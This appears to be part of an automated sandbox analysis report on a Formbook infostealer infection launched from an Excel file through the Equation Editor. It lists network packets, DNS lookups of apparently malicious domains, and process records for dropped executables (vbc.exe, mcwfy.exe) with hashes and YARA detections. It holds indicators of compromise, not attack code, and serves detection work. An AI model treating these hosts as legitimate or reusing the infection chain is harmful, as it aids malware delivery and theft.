                                                                  Mar 20, 2023 10:33:35.783282042 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.783312082 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.783332109 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.783355951 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.783430099 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.783431053 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.783792019 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.783818007 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.783839941 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.783855915 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.783868074 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.783906937 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.784305096 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.784334898 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.784357071 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.784377098 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.784396887 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.784444094 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.784542084 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.786840916 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.786881924 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.786911964 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.786950111 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.787065983 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.789401054 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.978729963 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.978760004 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.978779078 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.978800058 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.978830099 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.978854895 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.978873968 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.978898048 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.978898048 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.978924036 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.978950977 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.978965044 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.978997946 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.979630947 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.979737997 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.980140924 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.980161905 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.980180979 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.980206013 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.980215073 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.980226994 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.980238914 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.980252981 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.980272055 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.980289936 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.980300903 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.980310917 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.980330944 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.980341911 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.980360985 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.980370998 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.980389118 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.980401039 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.980415106 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.980427027 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.980443954 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.980463982 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.980477095 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.980484962 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.980511904 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.980520964 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.980545998 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.980559111 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.980581999 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.980592966 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.980611086 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.980632067 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.980654001 CET4917180192.168.2.22103.189.202.84
                                                                  Mar 20, 2023 10:33:35.982675076 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.982728004 CET8049171103.189.202.84192.168.2.22
                                                                  Mar 20, 2023 10:33:35.982748032 CET8049171103.189.202.84192.168.2.22

                                                                  UDP Packets

                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                  Mar 20, 2023 10:33:38.322930098 CET138138192.168.2.22192.168.2.255
                                                                  Mar 20, 2023 10:33:56.466960907 CET137137192.168.2.22192.168.2.255
                                                                  Mar 20, 2023 10:33:57.216228008 CET137137192.168.2.22192.168.2.255
                                                                  Mar 20, 2023 10:33:57.966264009 CET137137192.168.2.22192.168.2.255
                                                                  Mar 20, 2023 10:34:05.500899076 CET137137192.168.2.22192.168.2.255
                                                                  Mar 20, 2023 10:34:06.250477076 CET137137192.168.2.22192.168.2.255
                                                                  Mar 20, 2023 10:34:07.000554085 CET137137192.168.2.22192.168.2.255
                                                                  Mar 20, 2023 10:34:08.269311905 CET137137192.168.2.22192.168.2.255
                                                                  Mar 20, 2023 10:34:09.018851042 CET137137192.168.2.22192.168.2.255
                                                                  Mar 20, 2023 10:34:09.768990040 CET137137192.168.2.22192.168.2.255
                                                                  Mar 20, 2023 10:34:32.531739950 CET5440853192.168.2.228.8.8.8
                                                                  Mar 20, 2023 10:34:32.551840067 CET53544088.8.8.8192.168.2.22
                                                                  Mar 20, 2023 10:34:37.964605093 CET5010853192.168.2.228.8.8.8
                                                                  Mar 20, 2023 10:34:37.982831001 CET53501088.8.8.8192.168.2.22
                                                                  Mar 20, 2023 10:34:45.754302979 CET137137192.168.2.22192.168.2.255
                                                                  Mar 20, 2023 10:34:46.504328966 CET137137192.168.2.22192.168.2.255
                                                                  Mar 20, 2023 10:34:47.254437923 CET137137192.168.2.22192.168.2.255
                                                                  Mar 20, 2023 10:34:53.680862904 CET5472353192.168.2.228.8.8.8
                                                                  Mar 20, 2023 10:34:53.700793028 CET53547238.8.8.8192.168.2.22
                                                                  Mar 20, 2023 10:35:03.932585001 CET5806253192.168.2.228.8.8.8
                                                                  Mar 20, 2023 10:35:04.944813013 CET5806253192.168.2.228.8.8.8
                                                                  Mar 20, 2023 10:35:04.964967012 CET53580628.8.8.8192.168.2.22
                                                                  Mar 20, 2023 10:35:05.968266964 CET53580628.8.8.8192.168.2.22
                                                                  Mar 20, 2023 10:35:09.961920023 CET138138192.168.2.22192.168.2.255
                                                                  Mar 20, 2023 10:35:22.396008968 CET5670353192.168.2.228.8.8.8
                                                                  Mar 20, 2023 10:35:22.417706013 CET53567038.8.8.8192.168.2.22

                                                                  ICMP Packets

                                                                  TimestampSource IPDest IPChecksumCodeType
                                                                  Mar 20, 2023 10:35:05.968422890 CET192.168.2.228.8.8.8d01c(Port unreachable)Destination Unreachable

                                                                  DNS Queries

                                                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                  Mar 20, 2023 10:34:32.531739950 CET192.168.2.228.8.8.80x2f5fStandard query (0)www.white-hat.ukA (IP address)IN (0x0001)false
                                                                  Mar 20, 2023 10:34:37.964605093 CET192.168.2.228.8.8.80x9912Standard query (0)www.sqlite.orgA (IP address)IN (0x0001)false
                                                                  Mar 20, 2023 10:34:53.680862904 CET192.168.2.228.8.8.80xceeeStandard query (0)www.gritslab.comA (IP address)IN (0x0001)false
                                                                  Mar 20, 2023 10:35:03.932585001 CET192.168.2.228.8.8.80xc4a9Standard query (0)www.bitservicesltd.comA (IP address)IN (0x0001)false
                                                                  Mar 20, 2023 10:35:04.944813013 CET192.168.2.228.8.8.80xc4a9Standard query (0)www.bitservicesltd.comA (IP address)IN (0x0001)false
                                                                  Mar 20, 2023 10:35:22.396008968 CET192.168.2.228.8.8.80x1666Standard query (0)www.222ambking.orgA (IP address)IN (0x0001)false

                                                                  DNS Answers

                                                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                  Mar 20, 2023 10:34:32.551840067 CET8.8.8.8192.168.2.220x2f5fNo error (0)www.white-hat.ukwhite-hat.ukCNAME (Canonical name)IN (0x0001)false
                                                                  Mar 20, 2023 10:34:32.551840067 CET8.8.8.8192.168.2.220x2f5fNo error (0)white-hat.uk94.176.104.86A (IP address)IN (0x0001)false
                                                                  Mar 20, 2023 10:34:37.982831001 CET8.8.8.8192.168.2.220x9912No error (0)www.sqlite.org45.33.6.223A (IP address)IN (0x0001)false
                                                                  Mar 20, 2023 10:34:53.700793028 CET8.8.8.8192.168.2.220xceeeNo error (0)www.gritslab.comgritslab.comCNAME (Canonical name)IN (0x0001)false
                                                                  Mar 20, 2023 10:34:53.700793028 CET8.8.8.8192.168.2.220xceeeNo error (0)gritslab.com78.141.192.145A (IP address)IN (0x0001)false
                                                                  Mar 20, 2023 10:35:04.964967012 CET8.8.8.8192.168.2.220xc4a9No error (0)www.bitservicesltd.com161.97.163.8A (IP address)IN (0x0001)false
                                                                  Mar 20, 2023 10:35:05.968266964 CET8.8.8.8192.168.2.220xc4a9No error (0)www.bitservicesltd.com161.97.163.8A (IP address)IN (0x0001)false
                                                                  Mar 20, 2023 10:35:22.417706013 CET8.8.8.8192.168.2.220x1666No error (0)www.222ambking.org91.195.240.94A (IP address)IN (0x0001)false

                                                                  HTTP Request Dependency Graph

                                                                  • 103.189.202.84
                                                                  • www.white-hat.uk
                                                                  • www.sqlite.org
                                                                  • www.gritslab.com
                                                                  • www.bitservicesltd.com

                                                                  Statistics

                                                                  Behavior

                                                                  Click to jump to process

                                                                  System Behavior

                                                                  General

                                                                  Target ID:0
                                                                  Start time:10:32:22
                                                                  Start date:20/03/2023
                                                                  Path:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                                                  Wow64 process (32bit):false
                                                                  Commandline:"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
                                                                  Imagebase:0x13f120000
                                                                  File size:28253536 bytes
                                                                  MD5 hash:D53B85E21886D2AF9815C377537BCAC3
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Reputation:high

                                                                  General

                                                                  Target ID:2
                                                                  Start time:10:32:44
                                                                  Start date:20/03/2023
                                                                  Path:C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                                                                  Wow64 process (32bit):true
                                                                  Commandline:"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
                                                                  Imagebase:0x400000
                                                                  File size:543304 bytes
                                                                  MD5 hash:A87236E214F6D42A65F5DEDAC816AEC8
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Reputation:high

                                                                  General

                                                                  Target ID:5
                                                                  Start time:10:32:49
                                                                  Start date:20/03/2023
                                                                  Path:C:\Users\Public\vbc.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:"C:\Users\Public\vbc.exe"
                                                                  Imagebase:0x400000
                                                                  File size:299979 bytes
                                                                  MD5 hash:7DE990046A20E6666627273589B014A5
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Antivirus matches:
                                                                  • Detection: 100%, Joe Sandbox ML
                                                                  Reputation:low

                                                                  General

                                                                  Target ID:6
                                                                  Start time:10:32:49
                                                                  Start date:20/03/2023
                                                                  Path:C:\Users\user\AppData\Local\Temp\mcwfy.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:"C:\Users\user\AppData\Local\Temp\mcwfy.exe" C:\Users\user\AppData\Local\Temp\ytljtt.f
                                                                  Imagebase:0x400000
                                                                  File size:95232 bytes
                                                                  MD5 hash:6CB712E482D150A185F713D75314A75A
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Antivirus matches:
                                                                  • Detection: 100%, Joe Sandbox ML
                                                                  Reputation:low

                                                                  General

                                                                  Target ID:8
                                                                  Start time:10:32:50
                                                                  Start date:20/03/2023
                                                                  Path:C:\Users\user\AppData\Local\Temp\mcwfy.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:C:\Users\user\AppData\Local\Temp\mcwfy.exe
                                                                  Imagebase:0x400000
                                                                  File size:95232 bytes
                                                                  MD5 hash:6CB712E482D150A185F713D75314A75A
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Yara matches:
                                                                  • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.1055408046.00000000003B0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.1055408046.00000000003B0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                                  • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000002.1055408046.00000000003B0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                  • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.1055247288.0000000000260000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.1055247288.0000000000260000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                                  • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000002.1055247288.0000000000260000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                  • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.1055435528.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.1055435528.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                  • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000002.1055435528.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                  Reputation:low

                                                                  General

                                                                  Target ID:10
                                                                  Start time:10:32:53
                                                                  Start date:20/03/2023
                                                                  Path:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" -Embedding
                                                                  Imagebase:0x1320000
                                                                  File size:2525680 bytes
                                                                  MD5 hash:2F8D93826B8CBF9290BC57535C7A6817
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Reputation:moderate

                                                                  General

                                                                  Target ID:11
                                                                  Start time:10:33:01
                                                                  Start date:20/03/2023
                                                                  Path:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
                                                                  Imagebase:0xef0000
                                                                  File size:9805808 bytes
                                                                  MD5 hash:326A645391A97C760B60C558A35BB068
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Reputation:moderate

                                                                  General

                                                                  Target ID:12
                                                                  Start time:10:33:03
                                                                  Start date:20/03/2023
                                                                  Path:C:\Windows\explorer.exe
                                                                  Wow64 process (32bit):false
                                                                  Commandline:C:\Windows\Explorer.EXE
                                                                  Imagebase:0xff040000
                                                                  File size:3229696 bytes
                                                                  MD5 hash:38AE1B3C38FAEF56FE4907922F0385BA
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Reputation:high

                                                                  General

                                                                  Target ID:14
                                                                  Start time:10:33:14
                                                                  Start date:20/03/2023
                                                                  Path:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                  Wow64 process (32bit):false
                                                                  Commandline:"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding
                                                                  Imagebase:0x13f790000
                                                                  File size:1423704 bytes
                                                                  MD5 hash:9EE74859D22DAE61F1750B3A1BACB6F5
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Reputation:high

                                                                  General

                                                                  Target ID:16
                                                                  Start time:10:33:26
                                                                  Start date:20/03/2023
                                                                  Path:C:\Windows\SysWOW64\wscript.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:C:\Windows\SysWOW64\wscript.exe
                                                                  Imagebase:0x40000
                                                                  File size:141824 bytes
                                                                  MD5 hash:979D74799EA6C8B8167869A68DF5204A
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Yara matches:
                                                                  • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000010.00000002.1184042628.00000000000E0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000010.00000002.1184042628.00000000000E0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                  • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000010.00000002.1184042628.00000000000E0000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                  • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000010.00000002.1184129727.00000000002B0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000010.00000002.1184129727.00000000002B0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                                  • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000010.00000002.1184129727.00000000002B0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                  • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000010.00000002.1184187420.00000000002E0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000010.00000002.1184187420.00000000002E0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                  • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000010.00000002.1184187420.00000000002E0000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com

                                                                  General

                                                                  Target ID:18
                                                                  Start time:10:34:02
                                                                  Start date:20/03/2023
                                                                  Path:C:\Program Files (x86)\Mozilla Firefox\firefox.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:C:\Program Files (x86)\Mozilla Firefox\Firefox.exe
                                                                  Imagebase:0xe10000
                                                                  File size:517064 bytes
                                                                  MD5 hash:C2D924CE9EA2EE3E7B7E6A7C476619CA
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Yara matches:
                                                                  • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000012.00000002.1137588402.0000000000230000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                  • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000012.00000002.1137588402.0000000000230000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                  • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000012.00000002.1137588402.0000000000230000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com

                                                                  Disassembly

                                                                  ⊘No disassembly